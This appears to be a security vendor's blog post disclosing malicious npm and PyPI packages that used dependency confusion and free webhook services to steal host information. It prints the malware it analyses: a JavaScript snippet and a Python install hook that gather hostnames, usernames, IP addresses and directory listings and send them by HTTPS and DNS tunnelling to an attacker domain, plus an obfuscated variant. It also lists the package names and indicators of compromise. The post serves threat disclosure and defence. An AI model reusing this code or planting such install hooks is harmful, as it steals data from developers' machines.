Webhook Party – Malicious packages caught exfiltrating data via legit webhook services

Intro

Checkmarx Supply Chain Security (SCS) team (previously Dustico) has found several malicious packages attempting to use a dependency confusion attack. Those packages were detected by the team’s malicious package detection system. Findings show all packages caught contained malicious payload which is using legitimate SaaS services for data exfiltration. This behavior is part of an alarming trend we are seeing in recent attacks.

Details

Let us start with the NPM packages ‘azureazure’ and ‘azure-sdk-v4’. Those two packages both include the description “azure whitehat package” but still collect sensitive system information and exfiltrate it to address “425a2.rt11[.]ml”. After some digging, we linked this address to the webhook service https://interactsh.com/ which provides a simple and free way to implement endpoints to these kinds of attacks.

User interface of the 'interactsh' service – this is how the collected data is displayed to the attacker

Looking more closely at the code, we encountered a few revealing comments that were enough to link the code in this package to a tutorial explaining dependency confusion attacks and providing code snippets that can be used while implementing this technique.

The code in the packages we found closely resembled the code snippets in the blogpost other than the fact that the uploader decides to add two more functionalities to it:

  • enumerate the files in a list of interesting paths [C:\, D:\, /, /home]
  • retrieving the external IP address
const td = {
    p: package,
    c: __dirname,
    hd: os.homedir(),
    hn: os.hostname(),
    un: os.userInfo().username,
    dns: JSON.stringify(dns.getServers()),
    ip: JSON.stringify(gethttpips()),
    dirs: JSON.stringify(getFiles(["C:\\","D:\\","/","/home"])),
}

const trackingData = JSON.stringify(td);
var postData = querystring.stringify({
    msg: trackingData,
});

var options = {
    hostname: "425a2.rt11.ml",
    port: 443,
    path: "/",
    method: "POST",
    headers: {
        "Content-Type": "application/x-www-form-urlencoded",
        "Content-Length": postData.length,
    },
};

var req = https.request(options, (res) => {
    res.on("data", (d) => {
        //process.stdout.write(d);
    });
});

req.on("error", (e) => {
    // console.error(e);
});

Code Obfuscation

Other than the additional features, it seems like the person behind these packages is testing further concepts and so we found the next two NPM packages that were likely to come from them: ‘glints-sdk’ and ‘azure-sdk-v3’.

These two packages deliver a similar code to the victim only in an obfuscated form:

function _0x4c0e(_0x581274,_0x3d7a8e){var _0x5cda03=_0x5cda();return _0x4c0e=function(_0x4c0e46,_0x2452be){_0x4c0e46=_0x4c0e46-0xaa;var _0x4be5d6=_0x5cda03[_0x4c0e46];return _0x4be5d6;},_0x4c0e(_0x581274,_0x3d7a8e);}var _0x5b8a48=_0x4c0e;(function(_0x576bbf,_0x164c6d){var _0x3d4493=_0x4c0e,_0x418df7=_0x576bbf();while(!![]){try{var _0x171b11=-… 

As a part of the automatic malware detection system developed by Checkmarx SCS team, the packages are being dynamically analyzed in several sub-engines and in these cases, the results of the analysis for all four packages mentioned above included network communicates with the address (hxxps://425a2.rt11[.]ml). This implies that ‘glints-sdk’ and ‘azure-sdk-v3’ are made by the same attacker.

Cross Platform Attack

Around the same time, Checkmarx’s system has detected another package, this time it was published on PyPi. The user ‘azureazure’ (with the display name ‘Kareem’) published a Python package ‘azureazure’. Looking at the code, we found similar functionalities to its JavaScript counterpart, including gathering system information and exfiltrating it to the same address (hxxps://425a2.rt11[.]ml). in addition to these, the Python code also included data exfiltration through DNS tunneling.

class CustomInstall(install):
    def run(self):
        install.run(self)
        hostname=socket.gethostname()
        cwd = os.getcwd()
        username = getpass.getuser()
        try:
            dn = ""
            hn = hostname.encode().hex()
            un = username.encode().hex()
            pn = pname.encode().hex()
            ip = getIps()
            dn = hn+"."+pn+"."+un+".p"
            cs = cwd.split('/')
            for i in range(len(cs)):
                cs[i] = cs[i].encode().hex()
            path = ""
            for c in cs:
                if c != "" and c != None:
                    path = path+"."+c
            path = path.strip('.')
            dn = dn+"."+path+".p"
            dn = dn+"."+ip
            dn = dn+".425a2.rt11.ml"
            socket.gethostbyname(dn)
        except Exception as e:
            print("exception")
            print(e)
            pass
        ploads = {"msg":json.dumps({'hostname':hostname,'package':pname,'cwd':cwd,'username':username,"ipaddresses":json.dumps(gethttpips()),"dirs":json.dumps(getFiles(["c:\\","d:\\","/","/home"]))})}
        requests.post("https://425a2.rt11.ml",data = ploads)

We believe those packages are published by the same actor. We found more NPM packages all a contain similar malicious payload which exfiltrate host information to the free SaaS services ‘burpcollaborator.net’ and ‘pipedream.net’.

Webhook as a C&C server

The usage of these legitimate free services by all those malicious packages corresponds with an interesting trend we are witnessing - in which actor are utilizing “out of the box” solutions for the backend infrastructure of their attacks. Free SaaS services such as the examples listed below provide an effortless way to get up and running, with an endpoint ready to go in a matter of seconds, to which the exfiltrated data will be collected:

Aside from the ease of using these services, instead of building and deploying a dedicated server, this technique has one more important outcome. In case of a successful infection, network traffic to these services will not raise red flags to defenders for they are legitimate and can be used for legitimate purposes. The combination of TLS encrypted traffic with the usage of known and legitimate sites makes it even harder for defenders to identify sensitive information being exfiltrated from their networks.

Malicious Packages

Package nameVersionsUsernamePackage Manager
jetpack-api124.0.0theokeenNPM
jetpack-connection124.0.0theokeenNPM
labrujha-cadas124.0.0theokeenNPM
jetpack-components124.0.0theokeenNPM
jetpack-config124.0.0 119.0.0 110.0.0 109.0.0 105.0.0 104.0.0 102.0.0 100.0.0 99.0.0theokeenNPM
grunt-jsdoc-to-markdow999.1.1xploitoverrideNPM
other-item999.1.1xploitoverrideNPM
react-instantsearch-hooks-dom999.1.1xploitoverrideNPM
string_decoder-browserify999.1.1xploitoverrideNPM
parcel-plugin-test999.1.1xploitoverrideNPM
glints-sdk99.10.11babylon7NPM
azure-sdk-v3  99.10.11azuresdkv3NPM
azureazure99.10.11azureazureNPM
azure-sdk-v499.10.11azuresdkv4NPM
azureazure97.10.0azureazurePyPi
azurefilter99.10.11azurefilterNPM
azure-filter-299.10.11azure-filterNPM

While few packages did state a “whitehat” disclaimer, they still send data from the victim’s machine into the attacker’s endpoint. We reported all malicious packages to NPM and PyPi security teams, and most of the packages were rapidly removed from the registry.

IOCs

  • 425a2.rt11[.]ml
  • gxh1p4cmhshj6na8ds6zue6s6jcb00.burpcollaborator[.]net
  • hxxps://grabify[.]link/YXP9CJ
  • enjg65nwg4r8o28.m.pipedream[.]net

Conclusion

This is one of several types of malicious packages that the Checkmarx Supply Chain Security (SCS) team (previously Dustico) is discovering in the wild. We’ll continue to report on our findings here in this blog, so stay tuned.

Skip to content